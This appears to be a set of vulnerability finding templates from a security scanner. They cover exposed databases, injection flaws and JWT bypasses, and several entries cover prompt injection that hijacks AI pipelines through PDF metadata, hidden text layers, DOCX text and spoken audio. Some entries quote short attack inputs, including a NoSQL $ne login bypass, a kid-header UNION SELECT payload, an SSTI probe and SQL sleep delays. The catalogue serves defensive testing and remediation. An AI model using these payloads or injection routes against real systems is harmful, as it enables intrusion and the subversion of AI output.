CRITICAL PHX-246 — MQTT Broker — Unauthenticated Access and Cleartext Credentials
Remediation: Enable MQTT broker authentication requiring username/password for all clients and disable anonymous access. Migrate all MQTT traffic to TLS-encrypted port 8883. Implement MQTT ACL rules restricting clients to required topics only. Rotate all credentials previously transmitted in cleartext.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1040 (Credential Access), T1078 (Initial Access)
NIST 800-53: AC-3, SC-8, IA-3, CM-6
PCI DSS 4: 4.2.1, 8.3.1, 8.6.1
CRITICAL PHX-248 — SQL Injection in RTLS Reporting Module
Remediation: Replace all dynamic SQL string construction with parameterised queries or prepared statements. Apply least-privilege to the RTLS database account (no FILE or SUPER privileges). Conduct a full code review of all user-facing query parameters and implement input validation. Deploy a WAF with SQLi detection rules.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL PHX-249 — RTLS REST API — Unauthenticated Access
Remediation: Implement authentication middleware enforcing a valid API token or session token on all REST API routes; return HTTP 401 for unauthenticated requests. Apply RBAC so read-only tokens cannot invoke configuration-modifying endpoints. Audit the full API surface against the intended access control matrix.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: AC-3, IA-3, CM-6
PCI DSS 4: 8.3.1, 8.6.1, 6.2.4
CRITICAL PHX-252 — RTLS Anchor Firmware Update — Missing Signature Verification
Remediation: Implement mandatory cryptographic signature verification on all firmware images prior to installation using a key stored in anchor hardware (OTP fuse or secure element). Require HTTPS and strong API authentication for all firmware update endpoints. Implement a firmware version manifest with expected hash values.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A08:2021 – Software and Data Integrity Failures
MITRE ATT&CK: T1195.002 (Initial Access)
NIST 800-53: SI-7, CM-6, SA-10, SC-25
PCI DSS 4: 6.3.3, 6.2.4
CRITICAL PHX-257 — Physical UWB Frame Injection — Ranging Manipulation
Remediation: Enable IEEE 802.15.4z STS (SP3 mode) on all anchors and tags to cryptographically authenticate ranging frame timestamps. Implement anchor-to-anchor cross-validation flagging unexpected ranging responses from unknown sources. Deploy RF anomaly detection for inconsistent transmission parameters. Physically secure anchor hardware against tampering.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N
MITRE ATT&CK: T1565 (Impact), T1583 (Resource Development)
NIST 800-53: PE-3, SC-25, IA-3, SI-7
PCI DSS 4: 9.2.1, 4.2.1
CRITICAL PHX-258 — Database Default Credentials
Remediation: Change all default database credentials immediately. Enforce strong password policy (minimum 16 chars, complexity). Disable guest accounts. Implement account lockout after 5 failed attempts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, AC-17, CM-6
PCI DSS 4: 8.3.6, 2.2.1
CRITICAL PHX-259 — MongoDB Unauthenticated Access
Remediation: Enable MongoDB authentication (`security.authorization: enabled` in mongod.conf). Create application-specific users with minimal privilege. Bind to 127.0.0.1 unless network access is required. Enable TLS for all connections.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, AC-6, CM-6
PCI DSS 4: 6.2.4, 2.2.1
CRITICAL PHX-260 — Redis Unauthenticated Access
Remediation: Set a strong password with `requirepass` in redis.conf. Enable ACL-based user management (Redis 6+). Bind to 127.0.0.1 with `bind 127.0.0.1`. Rename or disable dangerous commands (CONFIG, DEBUG, EVAL, SLAVEOF) using the `rename-command` directive.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, AC-6, CM-6
PCI DSS 4: 6.2.4, 2.2.1
CRITICAL PHX-262 — CouchDB Admin Party — No Authentication Required
Remediation: Create at least one admin user immediately (`curl -X PUT http://TARGET:5984/_config/admins/admin -d '"strongpassword"'`). Set `bind_address = 127.0.0.1` in local.ini to prevent external access. Enable SSL. Set `require_valid_user = true` in [chttpd] configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4
CRITICAL PHX-265 — Cassandra No Authentication
Remediation: Set `authenticator: PasswordAuthenticator` and `authorizer: CassandraAuthorizer` in cassandra.yaml. Change default cassandra/cassandra credentials. Enable SSL/TLS for client and inter-node communication. Use firewall rules to restrict port 9042 to application hosts only.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4
CRITICAL PHX-273 — MySQL FILE / UDF Remote Code Execution
Remediation: Revoke FILE privilege from all non-admin users (`REVOKE FILE ON *.* FROM 'user'@'host'`). Disable `local_infile`. Set `secure_file_priv` to an empty path or a restricted directory. Remove UDF functions that allow OS interaction. Run MySQL as a low-privilege OS user.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL PHX-274 — PostgreSQL COPY TO PROGRAM Remote Code Execution
Remediation: Revoke SUPERUSER role from application-facing users. Use pg_hba.conf to restrict connections. Set `pg_execute_server_program` permission only on admin roles. Run PostgreSQL as a non-privileged OS user. Apply row-level security where appropriate.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
CRITICAL PHX-275 — Redis SLAVEOF / CONFIG Unauthorized Command Execution
Remediation: Enable Redis authentication (`requirepass`). Use the `rename-command` directive to rename or disable CONFIG, SLAVEOF, DEBUG, EVAL, and EXEC commands. Bind to localhost only. Use Redis ACLs (Redis 6+) to restrict command execution per user.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-6, AC-3
PCI DSS 4: 6.2.4
CRITICAL PHX-276 — MSSQL xp_cmdshell Enabled — OS Command Execution
Remediation: Disable xp_cmdshell: `EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;`. Restrict sa account. Use Windows Authentication instead of SQL authentication. Enable SQL Server Audit to detect attempted xp_cmdshell usage.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: SI-10, CM-7, CM-6
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL PHX-277 — Oracle Database Default SYS/SYSTEM Credentials
Remediation: Change all Oracle default passwords immediately (SYS, SYSTEM, DBSNMP, SCOTT, HR, OE, SH, PM, IX, BI accounts). Use Oracle Security Assessment Tool (OSAT) for comprehensive audit. Lock or expire unused default accounts. Enable Oracle Auditing and Database Vault for additional controls.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.6, 2.2.1
CRITICAL PI-001 — AI Prompt Injection — Task Hijack via {strategy}
Description: The AI pipeline abandoned its primary task entirely when processing a file containing an injected instruction in its metadata, text layer, or audio content. The AI's response contained only the injected canary token, confirming the model followed the adversarial instruction instead of performing its assigned function (transcription, classification, summarisation, etc.).
Impact: An attacker can embed instructions in files submitted to the AI pipeline that completely override the model's intended behaviour. This enables arbitrary output manipulation — the AI can be made to produce any attacker-chosen text, leak system prompts, or return fabricated classifications. In production pipelines processing documents, images, or audio, this means an attacker controls what downstream consumers (dashboards, databases, compliance workflows) receive as AI output.
Remediation: Strip or sanitise all file metadata before including it in the LLM context. Enforce a fixed system prompt that explicitly forbids instruction overrides from file content. Process file content in a separate, sandboxed context from system instructions. Validate AI output against expected format/schema — flag responses containing unexpected tokens or format deviations.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1059.007 (Execution), T1565.001 (Impact)
NIST 800-53: SI-10, SI-15
CRITICAL PI-003 — AI Prompt Injection — Classify Override via {strategy}
Description: The AI pipeline returned an attacker-controlled classification label instead of performing genuine content analysis. The injected instruction directed the model to output a specific category, and the model complied — either abandoning its own classification (CRITICAL) or appending the injected label alongside its real output (HIGH).
Impact: An attacker can force arbitrary classification labels on submitted content, bypassing the AI's actual analysis. In document processing pipelines, this enables content to be misclassified (e.g. malware marked as benign, non-compliant documents marked as compliant, spam marked as legitimate). This directly undermines any automated decision-making that depends on the AI's classification output.
Remediation: Never allow file content to influence the classification decision prompt. Use a two-stage pipeline: extract content in a sandboxed context, then classify the extracted content with a separate prompt that cannot receive user-injected instructions. Validate classifications against a known-good label set.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10, SI-15
CRITICAL PI-004 — AI Prompt Injection — System Probe via {strategy}
Description: The AI pipeline disclosed its system prompt or internal configuration in response to an injected instruction embedded in file metadata or content. The injected payload directed the model to reveal its operating instructions, and the canary token's presence in the response confirms the model attempted to comply.
Impact: System prompt leakage reveals the AI pipeline's internal logic, guardrails, classification rules, and potentially sensitive configuration details to an attacker. This information enables targeted follow-up attacks — an attacker who knows the system prompt can craft payloads specifically designed to bypass its guardrails. System prompts may also contain API keys, internal endpoint URLs, or business logic that should remain confidential.
Remediation: Never include sensitive credentials or internal URLs in system prompts. Implement output filtering to detect and block responses that contain system prompt fragments. Use instruction hierarchy (system > user > tool) enforcement so file content cannot override system-level instructions. Monitor for anomalous response patterns indicating prompt extraction attempts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
MITRE ATT&CK: T1082 (Discovery)
NIST 800-53: SI-10, AC-4
CRITICAL PI-010 — AI Prompt Injection — Task Hijack via pdf_docinfo_metadata
Description: The AI pipeline abandoned its primary task when processing a PDF whose document-info metadata (Author, Subject, Keywords, Creator) contained an injected instruction. PDF metadata is commonly extracted by document processing pipelines and passed to LLMs as context.
Impact: PDFs are the most common document format in enterprise AI pipelines. Document-info metadata injection succeeds silently because the injected content is invisible to the human viewer — only the pipeline's metadata extraction step sees it. This enables zero-interaction attacks where a legitimately-appearing PDF hijacks any AI pipeline that processes it.
Remediation: Strip all PDF metadata (Author, Subject, Keywords, Creator, Producer) before feeding document content to the LLM. Use a metadata-free text extraction pipeline that discards everything except the visible text layer.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
CRITICAL PI-011 — AI Prompt Injection — {category} via pdf_hidden_text_layer
Description: The AI pipeline processed a PDF containing a hidden text layer (white text on white background) with an injected instruction. The text is invisible to human viewers but extracted by PDF text extraction libraries (pdfplumber, pdfminer, PyMuPDF) and passed to the LLM. The model followed the hidden instruction.
Impact: Hidden text layer injection is especially dangerous because the document appears completely legitimate to any human reviewer — the injected content is only visible to the machine pipeline. This enables supply-chain attacks where documents pass human approval processes before being fed to AI systems that then execute the hidden instructions.
Remediation: Implement text layer analysis that detects and strips hidden text (zero-contrast text, extremely small font, off-page positioned text) before LLM ingestion. Use render-then-OCR instead of direct text extraction to ensure only visible content reaches the model.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1027 (Defense Evasion), T1565.001 (Impact)
NIST 800-53: SI-10
CRITICAL PI-014 — AI Prompt Injection — {category} via wav_spoken_audio_content
Description: The AI pipeline followed an injected instruction delivered as synthesised speech in a WAV audio file. The speech-to-text (Whisper/ASR) component transcribed the spoken payload, and the downstream LLM treated the transcribed text as an instruction to execute rather than content to process.
Impact: Spoken audio injection is the most dangerous delivery vector for transcription pipelines because it exploits the fundamental purpose of the pipeline — faithfully transcribing speech. The injected instruction arrives through the same channel as legitimate audio content, making it impossible to filter at the transport layer. In customer service, medical dictation, legal transcription, and meeting-notes pipelines, spoken injection can alter transcripts, inject false records, or hijack downstream AI processing.
Remediation: Implement post-transcription filtering to detect and strip instruction-like patterns from ASR output before passing to downstream LLMs. Use separate processing contexts for transcription and instruction execution. Apply anomaly detection to transcriptions that contain command-like syntax.
Effort: Major
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
CRITICAL PI-016 — AI Prompt Injection — {category} via docx_body_text_extraction
Description: The AI pipeline followed an injected instruction placed in the body text of a DOCX (Word) document. The document XML body was extracted by the pipeline's document parser and passed to the LLM, which treated the injected instruction as authoritative.
Impact: DOCX is a standard enterprise document format. Body text injection is the most straightforward attack vector — the payload appears as regular document content. In document review, contract analysis, compliance checking, and summarisation pipelines, an attacker can embed instructions that redirect the AI's analysis, alter its conclusions, or force specific outputs.
Remediation: Implement instruction boundary separation — ensure the LLM prompt clearly delineates system instructions from document content using robust delimiters. Apply content filtering to detect instruction-like patterns in extracted text before LLM ingestion.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
CRITICAL SI-083 — Missing Authentication Enforcement
Description: Siphon confirmed that an API endpoint that should require authentication is accessible without any credentials. The endpoint performs a sensitive operation or returns sensitive data in response to completely unauthenticated requests. This represents a complete authentication bypass where no credentials of any kind are required. An anonymous attacker on the internet can directly invoke the endpoint and access its full functionality without any account or credential.
Remediation: Implement authentication enforcement as a mandatory middleware applied to all non-public API endpoints. Adopt a secure-by-default policy where all new endpoints require authentication unless explicitly marked as public. Conduct a full audit of all API endpoints to verify authentication is enforced. Remove any whitelisted paths from authentication bypass rules that are not genuinely intended to be public.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
CRITICAL SI-084 — BFLA — Admin Endpoint Accessible
Description: Siphon confirmed that an administrative API endpoint is accessible by a non-administrative user or by an unauthenticated attacker. Administrative endpoints typically provide user management (create/delete accounts, change roles), system configuration, data export, secret rotation, or other privileged operations. Access to an admin endpoint without proper authorization can result in complete account takeover of all users, data exfiltration, or full application compromise.
Remediation: Immediately restrict access to all administrative endpoints. Require administrator role authentication for all admin API paths. Implement role-based access control with explicit allow-lists per endpoint. Deploy admin API endpoints on a separate internal hostname or network segment not accessible from the public internet. Audit all admin operations with immutable audit logging.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 Broken Access Control
OWASP API: API5:2023 Broken Function Level Authorization
CRITICAL SI-085 — BOLA — Broken Object Level Authorization
Description: Siphon confirmed a Broken Object Level Authorization (BOLA) vulnerability, also known as IDOR (Insecure Direct Object Reference). An authenticated user can access or modify resources owned by other users by substituting a different object identifier in the API request. The server returns data for the requested object without verifying that the authenticated user is the owner or has been explicitly granted access to that specific object. This is the most prevalent API vulnerability category and can expose all user data in the system.
Remediation: Implement object-level authorization checks on every endpoint that accesses a specific resource. Verify that the authenticated user ID matches the resource owner or has been explicitly granted access before returning or modifying any data. Derive the target user context from the authenticated session, not from client-supplied parameters. Implement automated authorization tests for every user-scoped API endpoint as part of the CI/CD pipeline.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 Broken Access Control
OWASP API: API1:2023 Broken Object Level Authorization
CRITICAL SI-086 — Default Credentials Accepted on API Login Endpoint
Description: The API login endpoint accepts default credentials (e.g., admin/admin, admin/password, admin/1234, root/root, test/test, or vendor-specific defaults) and returns a successful authentication response. Default credentials are publicly known and represent the first credential set attempted by automated attackers. Successful login with default credentials provides immediate administrative or user access without any exploitation complexity, effectively bypassing all other security controls.
Remediation: Immediately change all default credentials on all accounts. Force password change on first login for all accounts provisioned with default credentials. Implement a credential policy that prevents setting passwords matching known-default or commonly-used values. Audit all accounts and API keys for default or trivially-guessable credentials. Disable any service accounts with default credentials that are not currently in use.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-5, AC-7, SI-4
PCI DSS 4: 8.3.1, 8.3.4, 8.3.6
CRITICAL SI-087 — Type Juggling / JSON Type Confusion Authentication Bypass
Description: Siphon confirmed an authentication bypass via JSON type confusion (type juggling). By submitting a non-string value in the JSON body for the password field (e.g., true (boolean), 0 (integer), null, or []) the authentication logic is bypassed. This occurs in dynamically-typed languages (PHP, JavaScript, Python) where loose comparison operators (==, in PHP: true == 'any string') evaluate to true when comparing certain type mismatches. An attacker can log in as any known username without knowing the password.
Remediation: Use strict type-safe comparison operators in all authentication logic. In PHP, use === instead of ==. In JavaScript/Node.js, validate that the incoming password is of type string before any comparison. Validate request body field types against expected types in the API schema before processing. Reject any authentication request where credentials are not of the expected primitive type.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
CRITICAL SI-088 — JWT None Algorithm Accepted
Description: Siphon confirmed that the API accepts JWTs signed with the 'none' algorithm (alg: none, alg: None, alg: NONE). The 'none' algorithm specifies that no signature is required, meaning an attacker can craft an arbitrary JWT with any claims (any user ID, any role, any expiry) without needing the server's signing key. By setting alg to 'none' and removing the signature, an attacker achieves complete authentication bypass and can impersonate any user including administrators.
Remediation: Implement an explicit algorithm allowlist in the JWT verification configuration and reject all tokens using the 'none' algorithm. Never rely on the algorithm specified in the JWT header to determine how to verify the token — use a server-side configured algorithm. Upgrade JWT libraries to versions that do not accept the 'none' algorithm by default. Audit all JWT validation code paths for algorithm confusion vulnerabilities.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 4.2.1, 8.3.6
CRITICAL SI-089 — SQL Injection in API Parameter
Description: Siphon confirmed a SQL injection vulnerability in an API parameter. User-supplied input is incorporated into a SQL query without parameterization or adequate sanitization. An attacker can inject SQL syntax to extract all data from the database, bypass authentication, modify or delete database records, read server files (via LOAD_FILE or xp_cmdshell), execute OS commands (via xp_cmdshell or UDF), or achieve complete database server compromise. SQL injection in APIs is particularly severe because the API may provide direct database access without application-layer filtering.
Remediation: Replace all dynamic SQL query construction with parameterized queries or prepared statements. Use an ORM that automatically parameterizes queries. If dynamic queries are unavoidable, use an allowlist-based escaping function appropriate for the database platform. Apply the principle of least privilege to database accounts: the API's DB user should not have DROP, TRUNCATE, or file access permissions. Implement a WAF rule for SQL injection patterns as defense-in-depth.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL SI-090 — Blind SQL Injection (Boolean-Based)
Description: Siphon confirmed a boolean-based blind SQL injection vulnerability where injecting boolean conditions into an API parameter produces different application responses (different response body, length, or status code) depending on whether the injected condition is true or false. While no data is returned directly, an attacker can exfiltrate the entire database content bit-by-bit by asking true/false questions about the data (e.g., 'is the first character of the admin password greater than M?'). Automated tools like sqlmap can extract the complete database in minutes.
Impact: An attacker can extract arbitrary database contents one character at a time by observing the difference between the application's responses to TRUE and FALSE injected conditions — no database error output or visible data is required. This enables disclosure of credentials, session tokens and other sensitive records, and can be escalated to authentication bypass or, on some database engines, command execution.
Remediation: Replace all dynamic SQL construction with parameterized queries. The remediation is identical to direct SQL injection (SI-089). Blind injection is often harder to detect through manual code review, making comprehensive use of parameterized queries and ORM frameworks critical. Run automated SQL injection scans (sqlmap) against all API endpoints as part of security testing.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL SI-091 — Blind SQL Injection (Time-Based)
Description: Siphon confirmed a time-based blind SQL injection vulnerability. Injecting time-delay functions (e.g., SLEEP(5), WAITFOR DELAY, pg_sleep(5)) into an API parameter causes the server response to be delayed by the specified duration, confirming SQL execution. An attacker can exfiltrate the complete database using conditional time delays as an out-of-band data exfiltration channel. Time-based injection is reliable even when the application returns identical responses for true and false conditions, bypassing boolean-based detection.
Impact: An attacker can infer arbitrary database contents by measuring response delays induced by injected time-delay functions (SLEEP / pg_sleep / WAITFOR), requiring neither error output nor visible content differences. This blind exfiltration channel enables disclosure of credentials and sensitive data and, on some engines, can be escalated to file access or command execution; repeated long sleeps also provide a denial-of-service primitive.
Remediation: The remediation is identical to direct SQL injection (SI-089): use parameterized queries exclusively. Additionally, implement query timeout limits at the database level to limit the impact of time-delay attacks. Monitor for anomalously slow API response times as an indicator of time-based injection probing.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL SI-092 — NoSQL Injection in API Parameter
Description: Siphon confirmed a NoSQL injection vulnerability. User-supplied input is incorporated into a NoSQL database query (MongoDB, CouchDB, Firebase, Cassandra) without sanitization, allowing injection of query operators. For example, injecting {"$ne": null} in a MongoDB authentication query bypasses login by matching any non-null password. NoSQL injection can enable authentication bypass, data exfiltration, and in some cases server-side JavaScript execution via the $where operator.
Remediation: Validate that all user-supplied query parameters are of the expected primitive type (string, number) before constructing database queries. For MongoDB, use the official driver's parameterization features and reject any input containing MongoDB operator characters ($, .). Use ODM libraries (Mongoose) that enforce schema validation. Disable JavaScript execution operators ($where) in MongoDB if not required. Apply input allowlist validation before any database query construction.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CRITICAL SI-093 — OS Command Injection in API Parameter
Description: Siphon confirmed OS command injection in an API parameter. User-supplied input is passed directly or with insufficient sanitization to a system shell command (via exec, shell_exec, subprocess, os.system, Runtime.exec, etc.). An attacker can inject shell metacharacters (;, |, &&, backticks, $()) to execute arbitrary operating system commands with the privileges of the web application process. This provides full remote code execution on the server, enabling complete system compromise, data exfiltration, lateral movement, and persistence.
Remediation: Eliminate all use of shell command execution with user-supplied input. Replace shell-based functionality with language-native library calls that do not invoke a shell. If OS command execution is unavoidable, pass arguments as a list (not a string) to prevent shell interpretation, and validate all inputs against a strict allowlist of permitted values. Run the application with the minimum OS privileges necessary. Implement application sandboxing (containers, seccomp) to limit the impact of command injection.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, CM-6, SA-11
PCI DSS 4: 6.2.4
CISA KEV
CRITICAL SI-094 — Server-Side Template Injection (SSTI)
Description: Siphon confirmed Server-Side Template Injection (SSTI) in an API endpoint. User-supplied input is embedded directly into a server-side template (Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, ERB) and the template engine evaluates the injected expression. An attacker can exploit SSTI to execute arbitrary code within the template context, which typically provides full remote code execution equivalent to OS command injection. SSTI can be confirmed by injecting arithmetic expressions (e.g., {{7*7}}) and observing the evaluated result (49) in the response.
Remediation: Never concatenate user-supplied data directly into template strings. Pass user data as template variables that are rendered by the template engine safely, not as template code. Use templates that are defined statically in the codebase, not constructed dynamically from user input. If user-controlled templates are a business requirement, use a sandboxed template engine that prevents access to dangerous objects and methods.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
CRITICAL SI-097 — JWT Algorithm Confusion Attack (RS256 to HS256)
Description: Siphon confirmed an algorithm confusion attack where the API normally uses RS256 (asymmetric RSA) but also accepts tokens signed with HS256 (symmetric HMAC). An attacker can obtain the server's public RSA key (which is public by design) and use it as the HMAC secret to sign a forged HS256 token. If the server uses the algorithm from the token header rather than from its configuration to select the verification method, it will verify the forged token using the public RSA key as the HMAC secret, accepting the attacker's fabricated claims.
Remediation: Configure the JWT verification library to use a server-side algorithm allowlist that only permits the expected algorithm (e.g., RS256). Never determine the verification algorithm from the token's header — use the algorithm specified in server-side configuration. Use a JWT library version that explicitly defends against algorithm confusion attacks. Test JWT verification with forged HS256 tokens signed with the public key to confirm the fix.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
CRITICAL SI-098 — JWT — jku/x5u Header Injection (JWKS Spoofing)
Description: Siphon confirmed that the API fetches the JWT verification key from the URL specified in the jku (JWK Set URL) or x5u (X.509 Certificate Chain URL) header parameter without validating it against an allowlist. An attacker can craft a JWT with a jku pointing to an attacker-controlled server hosting a JWKS with the attacker's own public key, then sign the JWT with the corresponding private key. The server fetches the attacker's JWKS and verifies the signature successfully, accepting forged tokens with arbitrary claims.
Remediation: Implement strict allowlist validation of the jku and x5u header values before fetching any key material. Only accept jku values matching pre-configured trusted URLs. Prefer a static, server-side configured verification key over dynamic key fetching. If JWKS rotation is required, implement it through a server-side key rotation mechanism rather than accepting jku from tokens. Reject any token whose jku does not match the configured JWKS endpoint.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
CRITICAL SI-099 — JWT — kid Header SQL Injection
Description: Siphon confirmed that the JWT kid (key ID) header value is incorporated into a SQL query without parameterization when looking up the verification key. An attacker can inject SQL syntax into the kid header to manipulate the key lookup query. A common payload is "' UNION SELECT 'attacker_secret' --" which causes the server to use 'attacker_secret' as the verification key. The attacker then signs a forged JWT with 'attacker_secret', which the server accepts, enabling complete authentication bypass with arbitrary claims.
